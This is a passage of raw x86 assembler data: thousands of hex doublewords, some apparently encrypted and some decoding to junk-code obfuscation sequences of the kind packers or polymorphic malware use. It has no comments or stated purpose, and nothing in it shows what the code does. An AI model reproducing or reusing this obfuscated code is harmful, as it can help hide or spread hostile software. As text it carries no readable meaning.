56070243h, 2D070A4Bh, 94234EDEh, 9DE01F8Bh, 26B2CBFBh dd 3D4B4B2Dh, 19C42326h, 0ABE8C498h, 0EC451DFBh, 737DE144h dd 0B017CF92h, 3129C93Bh, 0CD744EA0h, 92234EC9h, 16E011EAh dd 0A0073243h, 56070A4Bh, 29234EDFh, 0FAE0198Dh, 4BA9416Dh dd 0D9234ECAh, 9BFEF341h, 0FCDC4B2Dh, 0A1C465CFh, 0BA714EA0h dd 29234EC9h, 0CEE014EAh, 4E071A43h, 21070A4Bh, 92234EDFh dd 0ECE01C88h, 196C5F1h, 0DB26A9DDh, 0CE38975Fh, 35A6C3CFh dd 2026A4B7h, 26CB1FCAh, 0B2234ECAh, 0C07A8D93h, 25276A86h dd 4E276A8Eh, 68234ECAh, 7CF38D9Bh, 848AD367h, 0DAA45D38h dd 97AD411Ah, 2F234ECAh, 2F7CBC4Bh, 5646CB43h, 0BCAA4B2Dh dd 91C4653Fh, 4E9ECB47h, 25494B2Dh, 9220A699h, 12034ECAh dd 0F8AA1509h, 16A24AEEh, 293B4AEEh, 0C7604ECAh, 569B5509h dd 0C2A219DDh, 8561B6DCh, 536ECB43h, 29AA4B2Dh, 57C4646Fh dd 1B86CB0Ch, 0FE704B2Dh, 49CB18CAh, 5234ECAh, 1B7D8D94h dd 0C8276ABEh, 0BC276A8Eh, 14234ECAh, 0EEA8D9Ch, 1F6C0F3Eh dd 0AD3C8B7Fh, 0BCAE67CFh, 7A26A9DBh, 49234ECEh, 58920612h dd 52AB419Ah, 0A2234ECAh, 1F276A8Eh, 0C323C533h, 75276A8Eh dd 922FA698h, 0CAF34ECAh, 309059A2h, 2EB5BACCh, 3099CC7Ah dd 0CD3116FDh, 12797FC5h, 709EC592h, 6D26A9C9h, 0AE084B7Fh dd 8D712ECFh, 0B511E75Fh, 962C10CFh, 11AE2F05h, 4FC9336Bh dd 0CD744EA0h, 92234EC9h, 16E011EAh, 0A0073243h, 56070A4Bh dd 29234EDEh, 0CAE0198Dh, 0F7AA1D9Ch, 20C44F77h, 42DC1795h dd 49234522h, 8E4B4ECAh, 7036F680h, 7AFDFF52h, 0CBDAC5ACh dd 6BE2CB43h, 25494B2Dh, 9220A69Ch, 17034ECAh, 0D0AA1009h dd 16A24AEEh, 29364AEEh, 0C2654ECAh, 0C3C69409h, 0C238175Fh dd 37A688CFh, 1A26A9F8h, 4C724EA0h, 52234EC9h, 70E017EAh dd 90070243h, 4E070A4Bh, 25234ED3h, 5EE01F8Bh, 0DB616552h dd 41E2CE2Eh, 52234A22h, 31E7FDCAh, 9B722E12h, 4A234E4Ah dd 0F2A815CAh, 7A9A1EABh, 0C2027029h, 4D276A8Eh, 52234EDBh dd 0C39420CBh, 15AA3CEFh, 439E9079h, 9B987222h, 2B23C500h dd 38855FFCh, 0A0070A43h, 52234122h, 7B343FCAh, 2033C28Ah dd 0D267B2DBh, 74A35239h, 92235F22h, 0B225EBCAh, 0A78817DBh dd 6AB3F92Eh, 79D58903h, 91CB1813h, 37234ECAh, 0EB60A828h dd 0CA7C1793h, 0A1764EA0h dd 0A4234EC9h, 0FE013EAh, 2D072243h, 90070A4Bh, 4A234ED1h dd 18E01B8Fh, 8BF5BD20h, 0A14F5313h, 0A4234EC3h, 9281CA47h dd 65205D44h, 31B6C768h, 1526A9E8h, 0E26FB35h, 0FAA4B2Dh dd 4CC47DD3h, 0D982CB47h, 0DC2C4B20h, 29234ECCh, 8A8C8F4Bh dd 9ADC5697h, 0CD704EA0h, 92234EC9h, 12E015EAh, 0A0071243h dd 56070A4Bh, 29234EDEh, 0F0E01D89h, 0A38AAF4Ah, 25234ECFh dd 0B82CA0C1h, 50A6C7ADh, 2526A9C8h, 0FD56353Dh, 8CA6888Ah dd 0D326A9F8h, 4A234223h, 0AF6660CAh, 8112A80Ah, 9F085206h dd 0A427A66Bh, 8F8A4ECAh, 0DEA8F914h, 2D451D9Ah, 0C179CD50h dd 75276A8Eh, 27124198h, 0C27B14FAh, 2E711ECAh, 0BA124106h dd 29234EC4h, 0F48EB3E1h, 0BB3428C6h, 0C9D72ACEh, 0CD9AC289h dd 163DD048h, 0E0AA1690h, 0C3924AEEh, 7A232492h, 94234D22h dd 89786ECAh, 17FC791h, 0B667CFCEh, 492352CEh, 67700DCAh dd 0B6BE78CAh, 1D363C13h, 59E7D7Fh, 0B526A9D8h, 0C2084B7Fh dd 0C42324CFh, 49234D22h, 677D6ECAh, 7657C794h, 0D67CFCEh dd 942355CEh, 897508CAh, 0BA34BAC7h, 0D768E0BEh, 49234522h dd 0ABEE50CAh, 733DFCD9h, 59C720D6h, 0B5BEDB41h, 0C77A4B2Dh dd 0CF5EEF4Fh, 42A828CFh, 62EAC343h, 74DC4B2Dh, 5B96C343h dd 4F704B2Dh, 1D799D41h, 0AD367F4Fh, 2529A7CFh, 88EA4ECAh dd 68940BDh, 43AE8784h, 6086CB0Ch, 26644B2Dh, 494B9C75h dd 0CBE333ADh, 52846AFEh, 92490F6Bh, 4920A69Fh, 0F9034ECAh dd 3EAA1309h, 6DA24AEEh, 943B4AEEh, 1F664ECAh, 22C56009h dd 27DC277Ch, 4CC465CFh, 0A6DEC3F9h, 0DFAA4B2Dh, 2CC46AC7h dd 0E982CB47h, 4A494B20h, 2520A69Fh, 0CF034ECAh, 25AA1309h dd 0E0A24AEEh, 52394AEEh, 7C664ECAh, 22DFD509h, 77201C0Ah dd 71E1F4ACh, 2D2C9E35h, 38A6C71Ch, 2F26A9EDh, 0B5307F77h dd 8CA688CFh, 0D326A9F8h, 0C5E3F0ACh, 604097A2h, 922CA78Ch dd 6CF04ECAh, 0F1F5794Bh, 0A5EAC653h, 0D3E17B8Eh, 0B027CFC6h dd 2EA4964Eh, 90DC9A40h, 97C465CFh, 0A1704EA0h, 0A4234EC9h dd 9E015EAh, 2D071243h, 90070A4Bh, 4A234EDFh, 5BE01D89h dd 0A676F72Dh, 0CCAE6295h, 0A1C9336Bh, 0BA754EA0h, 29234EC9h dd 0CAE010EAh, 4E073A43h, 21070A4Bh, 92234EDFh, 0A9E0188Ch dd 0CE20F0BDh, 82DC6311h, 2920CAC5h, 232C4ECAh, 7A6C71Dh dd 4326A9DCh, 0A5FF994Bh, 0C62C9E35h, 0A4234EC6h, 5225C3C5h dd 9CA84ECAh, 91C45973h, 78AACB43h, 25494B2Dh, 9220A69Fh dd 14034ECAh, 0C8AA1309h, 16A24AEEh, 293A4AEEh, 0C1664ECAh dd 1BFE2C09h, 24751D46h, 75248757h, 91AF28CFh, 2D276A36h dd 0B5230F5Fh, 26E344CFh, 94207D4Eh, 4A2FA7CAh, 3614ECAh dd 0E1D536DCh, 2F06A8A6h, 25453414h, 94639815h, 0CE11EB4Fh dd 944901CFh, 4A20A69Ah, 7D034ECAh, 0D6AA1609h, 0DA24AEEh dd 0A4394AEEh, 2634ECAh, 0D2730609h, 325285C1h, 67AAFB41h dd 21CB4B2Dh, 56234ECAh, 469CCEA6h, 0A4234A4Dh, 579D28CAh dd 7B731E4Ch, 9421C7C5h, 2B434ECAh, 77717FC5h, 0CA791494h dd 4D070A41h, 0AECB4E41h, 93234ECAh, 0B409E305h, 0E672A5FAh dd 4A33A7D7h, 0B2294ECAh, 8F245DB8h, 439440B0h, 396A741h dd 0DB7959CBh, 0C0276A8Eh, 94234EC6h, 378E86F6h, 10D09137h dd 8F02CF6Dh, 1B232492h, 0A4234D22h, 91796ECAh, 0D77C790h dd 0B067CFCEh, 4A235BCEh, 0E6710CCAh, 7AA0361h, 4CC45123h dd 8F26FB35h, 0E0434B2Dh, 292BA719h, 5A524ECAh, 2043D540h dd 0A8422AA3h, 785EEF4Fh, 192324CFh, 0A4234D22h, 917B6ECAh dd 0D67C792h, 0B067CFCEh, 4A2355CEh, 0E6730ECAh, 0F771F452h dd 42AAE2F9h, 57A89E35h, 0A7078E49h, 3252CB43h, 94494B2Dh dd 4A20A69Dh, 7A034ECAh, 0EEAA1109h, 0DA24AEEh, 0A43B4AEEh dd 5644ECAh, 43D14109h, 11AAFC89h, 4FC46E97h, 17AACB41h dd 92494B2Dh, 4920A69Fh, 0F9034ECAh, 3EAA1309h, 6DA24AEEh dd 94384AEEh, 1F664ECAh, 0A37ACC09h, 0C321C79Fh, 492BA701h dd 96644ECAh, 0D5677796h, 0B4A8ECE8h, 91C45887h, 0A2754EA0h dd 25234EC9h, 0CCE010EAh, 4D073A43h, 0A0070A4Bh, 52234ED1h dd 51E0188Ch, 0F517AFF7h, 9283D89h, 0C6630E75h, 0F838C5CFh dd 4ACB1FCAh, 84234ECAh, 0DB7A8D93h, 0A8276A86h, 8F276A8Eh dd 0B234ECAh, 56A28D9Bh, 0DF715C2Bh, 0F099DAA0h, 2F50AD5Dh dd 4F9928D1h, 70BE4FDBh, 1F26A9EEh, 0CFC9CFD1h, 165D622Eh dd 0E3B6C512h, 0F726A9DDh, 86AAAE39h, 412AD343h, 38CB4B2Dh dd 0F5234ECAh, 1A912BE1h, 0E29BB28Fh, 0DCBE7EB5h, 897A6A25h dd 1A68894h, 1526A9F8h, 0C1714EA0h, 94234EC9h, 10E014EAh dd 21071A43h, 96070A4Bh, 49234ED3h, 0A0E01C88h, 20A71374h dd 41F4FFD8h, 0C6016369h, 0A8ADAB74h, 127CF84h, 0F79FFECCh dd 0A1734EA0h, 0A4234EC9h, 0AE016EAh, 2D070A43h, 90070A4Bh dd 4A234ED3h, 20E01E8Ah, 522A8BB7h, 0D2B6F465h, 29AA1CF2h dd 57C45AAFh, 226FB35h, 91CA4B2Dh, 58234ECAh, 7A35B9F1h dd 0EF82CB47h, 0B6DA4B20h, 0F323241Ah, 52234D22h, 0EA7C6ECAh dd 0B05FC795h, 6E67CFCEh, 252358CEh, 517409CAh, 0C24C7A7Dh dd 433AA747h, 9FEACECFh, 3C12CB43h, 7AA34B2Dh, 0AE9C5C2h dd 25235E23h, 5B81E1CAh, 58F2E803h, 0AE96549Dh, 0BBEDE04Bh dd 0A23C5F8h, 73396347h, 2023C5CFh, 26CB18CAh, 0B2234ECAh dd 0C07D8D94h, 25276ABEh, 44276A8Eh, 6F234ECAh, 0A9BB8D9Ch dd 6B96C70Bh, 0CC26A9C1h, 92234ED9h, 873085D7h, 56A45AFEh dd 0B344A398h, 0BC555E74h, 1D0227EBh, 0AD201F4Fh, 639928CFh dd 9377A7A2h, 0C4A84ECAh, 0A1C46FBBh, 0F443CB47h, 0A4A84B20h dd 91C44B6Fh, 4A2FA69Ah, 6BF14ECAh, 0E1F49C7Ch, 295442B5h dd 179D827Ch, 0B215CC8h, 0D0074A43h, 940ADB35h, 0C72A4B2Dh dd 20C45773h, 3445D347h, 49494B20h, 0A420A699h, 9034ECAh dd 75AA1509h, 0D0A24AEEh, 4A3A4AEEh, 76604ECAh, 1741A509h dd 29BC4515h, 0A425C8C5h, 0EFAA4ECAh, 2CC45993h, 0F4732F36h dd 4A235A22h, 597969CAh, 0BC6375Eh, 37CC46F2h, 59E4875h dd 0A771E419h, 0A12C1570h, 94234EC8h, 0C342119Ch, 25496AD6h dd 9220A69Fh, 14034ECAh, 0C8AA1309h, 16A24AEEh, 29384AEEh dd 0C1664ECAh, 0B332D509h, 76A267A3h, 27A8B2BFh, 4CC460BBh dd 0A9CA1C5Ah, 92234ECAh, 122FCDDEh, 550957F3h, 0F7F19ABCh dd 0D0A91E95h, 0C023245Ah, 49234D22h, 67796ECAh, 7677C790h dd 0D67CFCEh, 942358CEh, 89710CCAh, 0DA930ECCh, 753AAF5Fh dd 182324CFh, 0A4234D22h, 917A6ECAh, 0D6FC793h, 0B067CFCEh dd 4A2355CEh, 0E6720FCAh, 6B242114h, 0EFB80E1Dh, 0AF9BF7ACh dd 539EFB43h, 0ACAA4B2Dh, 91C455BBh, 0A2714EA0h, 25234EC9h dd 0C8E014EAh, 4D071A43h, 0A0070A4Bh, 52234EDEh, 0B0E01C88h dd 810EFBC1h, 0CFE54B2Dh, 20C47C6Fh, 0E7966799h, 0A126A9CAh dd 0A4234ECEh, 0F8A4CAB5h, 0C140F09Ah, 0D0A8725Ah, 18734AEEh dd 7F7C1E9Ah, 2B457FC5h, 1179E50Ah, 0F6734E41h, 52234023h dd 0A20D3BCAh, 4CDAA067h, 68282ECh, 2A33E552h, 9230A6FBh dd 832C4ECAh, 0E9385573h, 8C3928D3h, 44BF7B8Ch, 0DFD1589Ah dd 4A28A7C3h, 0FDEC4ECAh, 0BDEDF266h, 4B925AD4h, 0FC791123h dd 56070A43h, 29235F22h, 0BD282FCAh, 66DE609h, 0E4F2F8F5h dd 88EAFB99h, 0CF2C40BDh dd 0A4234EC8h, 0A7C1799h, 335ADBCBh, 21DC4B2Dh, 4FC465CFh dd 14BACBC3h, 17AE4B2Dh, 4CC9336Bh, 4C734EA0h, 52234EC9h dd 71E016EAh, 90070A43h, 4E070A4Bh, 25234ED2h, 0B9E01E8Ah dd 3C3414F2h, 0E9CFACh, 63F3B10Eh, 0CE203757h, 29A6C7CFh dd 2026A9D0h, 26CB19CAh, 0B2234ECAh, 0C07C8D95h, 25276AB6h dd 4B276A8Eh, 6E234ECAh, 2C558D9Dh, 612A307Bh, 33DECBC3h dd 17E54B2Dh, 4CC47C6Fh, 199E7F8Dh, 0BA26A9D1h, 29234ECEh dd 35515B5Ah, 45711E9Dh, 7F422EFBh, 19731492h, 6D67C505h dd 0F723C5CEh, 963BF4ACh, 0D67C790h, 87CB2ECEh, 89234ECAh dd 0D8EA90EDh, 782FEAF9h, 0BBFCB866h, 0D192BF50h, 85A95D5Ch dd 2A9A2893h, 257B2FFCh, 4F96B15Fh, 4F26A9E1h, 91CB1ECAh dd 69234ECAh, 2D7B8D92h, 0D3276A8Eh, 34276A8Eh, 0D4234ECAh dd 23B8D9Ah, 9980472Ch, 0F271B9DDh, 56BAC343h, 21AE4B2Dh dd 57C9336Bh, 29234123h, 5EAD17CAh, 32D666B8h, 0AB71405h dd 0D64AC4CEh, 2FF3B136h, 21AABD41h, 57C44EFBh, 2925CBC5h dd 1A84ECAh, 4FC44E47h, 0E3E8C5ACh, 7511EB4Fh, 49491DCFh dd 0A420A698h, 8034ECAh, 7DAA1409h, 0D0A24AEEh, 4A364AEEh dd 77614ECAh, 19A17C09h, 6A5C2604h, 0C2433FB1h, 0D342B441h dd 15326ACEh, 1286974h, 4FC466FFh, 0E26FB35h, 27A84B2Dh dd 4CC45BEFh, 0D982CB47h, 52494B20h, 2920A698h, 0CE034ECAh dd 1EAA1409h, 61A24AEEh, 92364AEEh, 1B614ECAh, 0C206B709h dd 5FCABC41h, 0DD234ECAh, 0DE0F915Ah, 32C9EEC0h, 66089990h dd 42DCA440h, 0A1764EA0h, 0A4234EC9h, 0FE013EAh, 2D072243h dd 90070A4Bh, 4A234ED0h, 66E01B8Fh, 6B6D719Eh, 0CCAA8DB2h dd 0A1C4595Fh, 0D7E5BE41h, 2CC47C6Fh, 0C423249Dh, 4A234D22h dd 0E67B6ECAh, 0B667C792h, 6D67CFCEh, 0A42356CEh, 91730ECAh dd 0EB476470h, 71A6C759h, 2226A9F8h, 0FC6C2390h, 28451C9Ah dd 782C1DCBh, 0FEF4C5ACh, 7617CF92h, 60687196h, 9196B13Fh dd 0C126A9E1h, 0C20E4777h, 33A6C3CFh, 0A026A4B7h, 0A4234EC6h dd 0F13E88B3h, 83AEC43Ah, 70EE2B06h, 0FF0A9E35h, 20C46EE7h dd 9672CB43h, 0C2734B2Dh, 4320E777h, 0D7E514CFh, 2CC47C6Fh dd 0C9967D89h, 0A226A9CFh, 25234ECEh, 2EB33EE2h, 493EC9C5h dd 0F6734ECAh, 632C2FAAh, 29235E23h, 0E43976CAh, 25EBF083h dd 8532FE8Bh, 9792EF21h, 197B14F1h, 0A436CBC5h, 59CB4ECAh dd 97234ECAh, 466C3035h, 0FDECA59Ch, 9A45A65Fh, 197C813Dh dd 0A1276A8Eh, 0A4234EDEh, 1B1CCB48h, 84BCC879h, 415EDB70h dd 999E1645h, 5E86C56Ch, 0B9F1ACh, 0C023C595h, 0F4276A8Eh dd 0AA9C2898h, 0C01241E4h, 94234EDEh, 48FBEB5Ch, 36159000h dd 0A68FDE41h, 7C09BB88h, 4DE65382h, 5D7B1690h, 2923474Ah dd 97A541CAh, 45234ECAh, 90DCBC75h, 97C465CFh, 0A1764EA0h dd 0A4234EC9h, 0FE013EAh, 2D072243h, 90070A4Bh, 4A234EDCh dd 79E01B8Fh, 86CBB0CBh, 1F234ECAh, 7EB5A414h, 2415F5BEh dd 0E3498D69h, 9900387Ch, 2C5479B2h, 7F518B73h, 0EF82CB47h dd 0EB9D4B20h, 5B45B265h, 423241Ah, 29234D22h, 577D6ECAh dd 6E57C794h, 167CFCEh, 922353CEh, 8A7508CAh, 40D92419h dd 0B6468386h, 0A4A8532Bh, 91C45217h, 603ECB43h, 0A0AE4B2Dh dd 97C9E89Ch, 0A1744EA0h, 0A4234EC9h, 0DE011EAh, 2D073243h dd 90070A4Bh, 4A234ED6h, 98E0198Dh, 10F7A877h, 53298A76h dd 0A425A75Ah, 0B5E34ECAh, 9BA41A41h, 47D1E9Ah, 0A2714EA0h dd 25234EC9h, 0C8E014EAh, 4D071A43h, 0A0070A4Bh, 52234ED0h dd 63E01C88h, 0CC09E80Ah, 0DFDCEBC4h, 20C44EE3h, 7A764EA0h dd 49234EC9h, 0F9E013EAh, 56072243h, 2D070A4Bh, 94234ED0h dd 44E01B8Fh, 46FD0F9Fh, 43A81A98h, 49499641h, 0A420A69Ch dd 0C034ECAh, 5DAA1009h, 0D0A24AEEh, 4A344AEEh, 73654ECAh dd 0C4D96209h, 8C9E4549h, 0C226A9F8h, 0D7AE9F41h, 2CC9E880h dd 9427C2C5h, 0F4454ECAh, 0CCB32D16h, 92234EDBh, 2822C738h dd 711A31CCh, 0C47F0F29h, 0B6A419BEh, 96961E6Eh, 1D23245Ah dd 25234D22h, 517C6ECAh, 6D5FC795h, 8067CFCEh, 522359CEh dd 0EA7409CAh, 0A1F7D17Dh, 0C173A140h, 13FC702h, 8A42FB43h dd 0DCDC4B2Dh, 0A1C4572Bh, 0BA724EA0h, 29234EC9h, 0CDE017EAh dd 4E070243h, 21070A4Bh, 92234EDFh, 0D0E01F8Bh, 95AE6740h dd 0DB26A9CEh, 0CE30674Fh, 9ACA2ECFh, 82234ECAh, 5066359Ah dd 6197F408h, 209863B2h, 65966701h, 3326A9C2h, 0E36CB0Dh dd 942C4B2Dh, 0F4454ECAh, 0B0DC05D2h, 97C45DE3h, 0A1734EA0h dd 0A4234EC9h, 0AE016EAh, 2D070A43h, 90070A4Bh, 4A234ED2h dd 6CE01E8Ah, 9180826h, 3DF1CFACh, 0A425A6FEh, 7DDD4ECAh dd 8591A784h, 0BB32D343h, 0C37D4B2Dh, 0C20B4B4Fh, 5CA828CFh dd 4D46CB41h, 39AE4B2Dh, 57C9F747h, 0A4220D43h, 7327F377h dd 2D96C3CFh, 9C26A473h, 92234EF9h, 7AC8EA39h, 0A4234E72h dd 26E345CAh, 293B8CC9h, 98070A41h, 4A23A699h, 0A4784ECAh dd 92235909h, 6D7FC7CAh, 8067C7DAh, 659B15DEh, 0D623EE6Ah dd 0B067C52Ah, 20C3B1CEh, 26CB1CCAh, 0B2234ECAh, 0C0798D90h dd 25276A9Eh, 45276A8Eh, 6B234ECAh, 7168D98h, 0A243490Ch dd 25234EC3h, 179D32EEh, 386ECDA9h, 0CD96C55Ah, 0B26A9DFh dd 2925CDC5h, 102C4ECAh, 4A234ECAh, 0A8A81CABh, 97C444F7h dd 0EC967F95h, 0C526A9EAh, 0BA704EA0h, 29234EC9h, 0CFE015EAh dd 4E071243h, 21070A4Bh, 92234ED2h, 0AE01D89h, 66C28D7Ah dd 52234322h, 65014FCAh, 82A05899h, 62290C39h, 9B4584B7h dd 1F79D697h, 0A3850477h, 9AAEC3CFh, 0EA26A470h, 0B105E5FFh dd 9DAACBF9h, 85084B2Dh, 0AA21A70Bh, 22C52324h, 0CA4A234Dh dd 93E67A6Eh, 0CEB66FC7h, 0CE6D67CFh, 83A42357h, 0A4F305E9h dd 6AD98Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 8B4EE2C3h, 0E727FD95h, 4D858905h, 0E905E719h dd 64h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah dd 55C35141h, 4BA1C5A5h, 8B0F3256h, 10h, 0BE9h, 2A51D300h dd 0D6B0F049h, 3814B7C8h, 0FC60F861h, 0C36153B4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 55C35545h, 0A2DE9EFBh dd 2F8365E2h, 83F9C08Bh, 0E70C81BDh, 9750005h, 2819BD83h dd 740005E7h, 8B535019h, 4B9B8C0h, 85890000h, 5E71775h dd 0B4FA9D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50177400h dd 4B9B853h, 85890000h, 5E71775h, 0B19B9D8Dh, 0D3FF05E9h dd 8160585Bh, 426107C8h, 6112B01Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0DAC35646h, 60C08BEBh, 49C88160h dd 0F36207Dh, 0F61DBBFh, 38Ah, 0CEB70F00h, 0C18B4061h dd 3820Fh, 8B660000h, 4EBFEh, 8B000000h, 55006AF9h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0C6B93FB5h, 64F59C5Dh, 89526BC7h, 0E727759Dh, 0BF0F5E05h dd 95858DFAh, 2305E713h, 0E72F09B5h, 0BF665005h, 4892D4Fh dd 68D0F24h, 31000000h, 0E719C98Dh, 0F006A05h, 480h, 89BE6600h dd 6A006A50h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h dd 0B6C7C351h, 0BCF4858Dh, 6A05EAh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 43FD19C3h dd 838803EFh, 666055E0h, 3CACD181h, 8B99D8Bh, 836105E7h dd 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0E02B4C3h, 43EB4A0Fh, 6FA7BF3Dh, 8D0F123Ch dd 6, 0A29B58Bh, 509005E7h, 505FF98Bh, 0F0F0BF66h, 8DBD8B90h dd 6A05E732h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 7B6F82B9h, 3DD11Ah, 10E9FC60h, 0E6000000h dd 0CBEDCEEAh, 44C8DD43h, 0C26DE6E4h, 61B09C02h, 8157006Ah dd 0D83B60CFh, 95FF5E54h, 5E71A4Dh, 8A0Fh, 9D8D0000h, 5EAA4AAh dd 89D3FFF9h, 0E71D81BDh, 0FD85FF05h, 5005E714h, 80EE95Fh dd 0E80000h, 5D000000h, 0BCFEED81h, 6A05EAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 488D10C3h dd 331D16C5h, 0AE944h, 0C01D0000h, 0FB94F673h, 0BC477DBFh dd 0BD815F50h, 5E72715h, 7D0h, 177860Fh, 0EE810000h, 1DC2C086h dd 29799D8Bh, 958905E7h, 5E707D1h, 100E381h, 0BE660000h dd 840F5B4Eh, 4, 18B9BE66h, 850FDB0Bh, 0F0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0BAC35242h, 21DBA970h dd 0BB8ABD83h, 0F0005EAh, 5184h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 72F3C6F7h dd 0BD8B6A97h, 5E70791h, 0BDE9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0E75B76BEh dd 0BF66C2FCh, 85C72242h, 5EABB8Ah, 1, 0EE9h, 154BDE00h dd 82CBA693h, 90A0F0D9h, 0E92348ABh, 13h, 58C49AB7h, 0D3088C58h dd 0F6DFDAC3h, 0D3560A58h, 0E9590111h, 5Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 25C35646h, 672D0C3Dh dd 0F0A55A1h, 681h, 699D0900h, 6005E702h, 6630D680h, 614069B9h dd 0BB8A85C7h, 5EAh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 9D8D0AC3h, 5E72979h dd 17299589h, 238105E7h, 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 37C35242h, 0D0A59EF0h, 0DB8C66C1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2AC35747h dd 0BE09ABAFh, 0EE917488h, 0C3F6F8F5h, 93840F04h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0E4C8C356h, 0A4E21B5Ah, 0AA5EF5BEh, 2995FF12h dd 6A05E713h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0D6A4C353h, 810F72D4h, 6, 207D8D89h dd 505005E7h, 0ADBF5652h, 5F7AE00Fh, 585A310Fh, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0A53FC355h, 810FA967h, 6, 21918D29h, 2FE905E7h dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 5EA1C357h, 0B0F88Dh, 6870Fh, 0F6810000h dd 581F1671h, 6A70E6FCh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 81F2C353h, 6A71E4C6h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 45E9C350h, 8E3C2D0Bh, 3E9A7157h, 89D8B60Fh dd 0E707B1B5h, 6BA05h, 9D890000h, 5E71D4Dh, 8166C38Bh dd 0C1986EEFh, 6A04E8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0F08AD5C3h, 0CFE5FF8Bh, 0BD8B6F01h dd 5E71BD5h, 66FAB70Fh, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 41E4C5C3h, 0A3DB509h dd 0D82B05E7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0C1C35343h, 89796929h, 0E72C618Dh, 8B669305h, 8E0F50F9h dd 0 dd 57006A93h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0E9EAB6Eh, 0BE66C9D3h, 0B5FF997Ah, 5E72715h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 51C35040h dd 5FF857FEh, 21C195FFh, 0F18B05E7h, 810F00B0h, 9, 3800Fh dd 0B70F0000h, 6A70E6F1h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 2666C356h, 0E24713B2h dd 71E45658h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 47C35646h, 0B3A19DF5h, 8B669B7Eh, 0F613CFBh, 25D83h dd 9A2ABF00h, 0B60F0CD6h, 0BA5E57D8h, 6, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 43C35040h, 381BD33h dd 0C38B05E7h, 3870Fh, 8B660000h, 4E8C1FEh, 0E2F766F5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A8C35343h dd 0B2D70FEh, 0E70CADB5h, 66D82B05h, 66A6B4BFh, 6A58F78Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 3C11C351h, 97BF6632h, 0F88B6639h, 880FD82Bh dd 1BEh, 12798D89h, 7B905E7h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 5188C353h dd 2171B58Bh, 7E905E7h, 0F000000h, 0D223ADFEh, 0C18341C2h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0D9792071h, 9D89583Dh, 5E7177Dh, 11E9h dd 2D64AB00h, 8DA54DEFh, 20A8750Bh, 17768216h, 0D93BE701h dd 13C860Fh, 890F0000h, 0 dd 52D98C66h, 19099D89h, 0BE5E05E7h, 7000D378h, 0F04C1F6h dd 0F984h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 4E6BCDA2h, 12E99A6Dh, 0C9000000h dd 0C63CA572h, 0C932823Ah, 340AF39h, 0EF61DABh, 899FBFFBh dd 95FF1968h, 5E71329h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0A0C35141h, 52006A5Bh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0F60E0B10h dd 0BF66C32Bh, 343DBCDCh, 0F000008h, 6986h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 11E8ECh, 1C070000h, 549DE654h, 0FA1CADE1h, 87174CA6h dd 66D39DDFh, 0EB8EE81h, 0A19D895Eh, 0E905E71Bh, 4Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3C35242h, 41529E27h dd 13A58589h, 0C08B05E7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0A3C35343h, 246DB58Bh, 0C38B05E7h, 6AD88Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0F78BA1C3h, 21D185C7h, 335705E7h, 6A7920h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6F599DC3h dd 9E6ACF88h, 